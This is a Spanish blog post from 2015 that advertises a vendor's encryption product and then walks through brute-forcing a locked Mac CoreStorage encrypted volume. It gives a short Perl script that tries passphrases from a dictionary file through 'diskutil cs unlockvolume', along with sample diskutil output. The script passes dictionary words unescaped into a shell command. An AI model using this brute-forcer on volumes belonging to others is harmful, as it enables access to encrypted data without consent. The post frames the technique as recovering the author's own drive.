miércoles, 10 de junio de 2015

Haciendo fuerza bruta a contenedores cifrados en Mac OSX


Muchos clientes cuando les presentamos nuestra solución para el control de fugas de información, y el concreto el módulo de cifrado de discos duros, nos dicen que no les hace falta ya que disponen de sistemas como Bitlocker para Windows o Firevault2 de Apple. Además Apple es lo más seguro del mercado. ES INDESTRUCTUBLE!!! Acto seguido una sonrisa malvada incontrolable surge en mi cara, pues no hay nada más sencillo que romper este tipo de cifrado. Como digo yo, un Google 1,2,3… y a buscar cómo se hace!. A parte de la diferencia sustancial del propio cifrado que en nuestra solución ni viviendo 40 vidas puedes descifrarlo, la solución que implantamos es “inteligente”, sólo cifra documentos e información sensible. El sistema operativo lo deja intacto, reduciendo el impacto de cifrado, y posible recuperación ante desastres. Un técnico (externo o interno) puede reinstalar un sistema operativo sin que la información que posee se vea comprometida pues nunca, repito, nunca es legible y evidentemente no tenemos que descifrar todo el disco para que puedan reinstalarlo (vaya gracia el cifrado de Bitlocker, Firevault u otras soluciones del mercado que para acceder al sistema operativo debo descifrar todo el disco duro en el arranque y que toda la información, ficheros del sistema y documentos, se vean comprometidos... Eso hace a nuestra solución única en el mercado. )
Hace unos días me tocó tirar de un disco duro que guardo cifrado, mediante el sistema de ficheros HFS+ de Mac, con las opciones Journaled, Encrypted. Os dejo una forma de romper la seguridad de un disco cifrado de Mac sin conocimientos previos…


Cuando insertas el USB, Mac te muestra un Pop-Up, en el que se te pide la contraseña de desbloqueo del volumen. Todo esto está bien cuando usas esa contraseña a menudo, pero cuando no es el caso dices… por qué habré puesto una contraseña de cifrado tan rara. 

A todo esto, el pop-up, no te permite ver la contraseña en claro, por lo que si te has equivocado en una letra, te toca volverla a escribir completa. Tampoco permite hacer copy-paste, por lo que no podemos escribirla en un bloc de notas y pegarla en la caja de texto, así que volvemos al paso 1. 






Como la contraseña era bastante complicada, me puse a investigar la opción de hacer el montaje desde un terminal.

El comando diskutil tiene múltiples combinaciones que nos permiten gestionar, entre otras cosas, los volúmenes cifrados.
Con el flag “cs list”, el CoreStorage nos muestra la estructura formada por los diferentes Grupos de Volúmenes, Volúmenes Físicos, Familias de Volúmenes Lógicos y finalmente los Volúmenes Lógicos que ve el sistema operativo. Si tenemos habilitado Filevault2 para el cifrado del disco completo (opción muy recomendable), nos aparecerá el primero de ellos, con el volumen desbloqueado (Unlocked dentro del campo Encryption Status)


Data hosted with ♥ by Pastebin.com - Download Raw - See Original
1.  +-- Logical Volume Group D9183FF1-7F0A-4AF8-9E3D-68BD25BCF7BF
2.      =========================================================
3.      Name:         test
4.      Status:       Online
5.      Size:         7412113408 B (7.4 GB)
6.      Free Space:   13357056 B (13.4 MB)
7.      |
8.      +-< Physical Volume 7A2E4D19-DCA8-4037-BDC6-60F4449864DF
9.      |   ----------------------------------------------------
10.     |   Index:    0
11.     |   Disk:     disk3s2
12.     |   Status:   Online
13.     |   Size:     7412113408 B (7.4 GB)
14.     |
15.     +-> Logical Volume Family 5F1E3906-6B56-4D8E-8DBC-F1682D625BC5
16.         ----------------------------------------------------------
17.         Encryption Status:       Locked
18.         Encryption Type:         AES-XTS
19.         Conversion Status:       Complete
20.         Conversion Direction:    -none-
21.         Has Encrypted Extents:   Yes
22.         Fully Secure:            Yes
23.         Passphrase Required:     Yes
24.         |
25.         +-> Logical Volume AA0E91C1-131A-4B86-9F6D-772D281C3ED6
26.             ---------------------------------------------------
27.             Disk:                  -none-
28.             Status:                Locked
29.             Size (Total):          7046430720 B (7.0 GB)
30.             Conversion Progress:   -none-
31.             Revertible:            No
32.             LV Name:               test
33.             Content Hint:          Apple_HFSX



En el caso que se ve arriba, dentro de la sección Logical Volume, AA0E91…. etc… se puede ver que el Status es Locked.

Con Diskutil y los flags unlockvolume , te pediría por línea de comandos la contraseña de desbloqueo. Si además le añadimos -passphrase , ya nos permite hacerla en claro y ver si nos estamos equivocando o no, hacer copy/paste o incluso… montarnos un bruteforcer. Ya que estaba, he hecho algo muy sencillito pero que si a alguien le puede ser de ayuda, pues aquí lo tiene:

Data hosted with ♥ by Pastebin.com - Download Raw - See Original
1.  LawMac:Desktop Lawrence$ more bruteforcea.pl
2.  #!/usr/bin/perl
3.  use Getopt::Std;
4.   
5.  getopts('u:d:');
6.   
7.  die "Usage $0 -u -d \n" if (!$opt_u &amp;&amp; !$opt_d);
8.   
9.  #Guardamos parametros
10. my $uid=$opt_u;
11. my $dict=$opt_d;
12.  
13. open (FILE,"&lt;$dict");
14.  
15. #Por cada posible contraseña generada, probamos
16. while ()
17. {
18.         chomp ($_);
19.         my $resp=`diskutil cs unlockvolume $uid -passphrase $_ `;
20.  
21.         #Si acertamos, indicamos la contraseña correcta
22.         if ($resp =~ m/successfully/i)
23.         {
24.                 print "Password found!!! It was \"$_\"\n";
25.                 print "$resp\n";
26.                 exit(0);        
27.         }
28. }
29. close (FILE);
30. print "Password not found in diccionary $dict. Insert coin and play again\n";


Tan fácil como pasarle con el parámetro -u el UID del volumen a desbloquear y con un -d un fichero “diccionario”, que previamente habremos generado. En este punto, la inteligencia a aplicar es diferente y no voy a entrar. Que haya palabras concatenadas con números, caracteres especiales o lo que queráis, es otra historia diferente. 
Una vez el script acierta con la contraseña, lo deja desbloqueado, pero sin montar.
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
1.  LawMac:Desktop Lawrence$ perl bruteforcea.pl -u AA0E91C1-131A-4B86-9F6D-772D281C3ED6 -d dict.txt
2.  Error: -69749: Unable to unlock the Core Storage volume
3.  Error: -69749: Unable to unlock the Core Storage volume
4.  Error: -69749: Unable to unlock the Core Storage volume
5.  Error: -69749: Unable to unlock the Core Storage volume
6.  Password found!!! It was "xxxxxxxxxxxxxxxxxxxxxx"
7.  Started CoreStorage operation
8.  Logical Volume successfully unlocked
9.  Logical Volume successfully attached as disk4
10. Logical Volume successfully mounted as /Volumes/test
11. Core Storage disk: disk4
12. Finished CoreStorage operation



Nos dice cuál era la contraseña, por si sólo necesitamos eso. Si queremos montarlo, tan sencillo como “diskutil mount disk4” (en este caso) y ya está! 
Lo que es un axioma innegable es que la prisa que te corre recuperar lo que hay dentro de un contenedor cifrado, es directamente proporcional a las posibilidades que te pegues con una contraseña que no funciona (o que no recuerdas ;D)



0 comentarios:

Publicar un comentario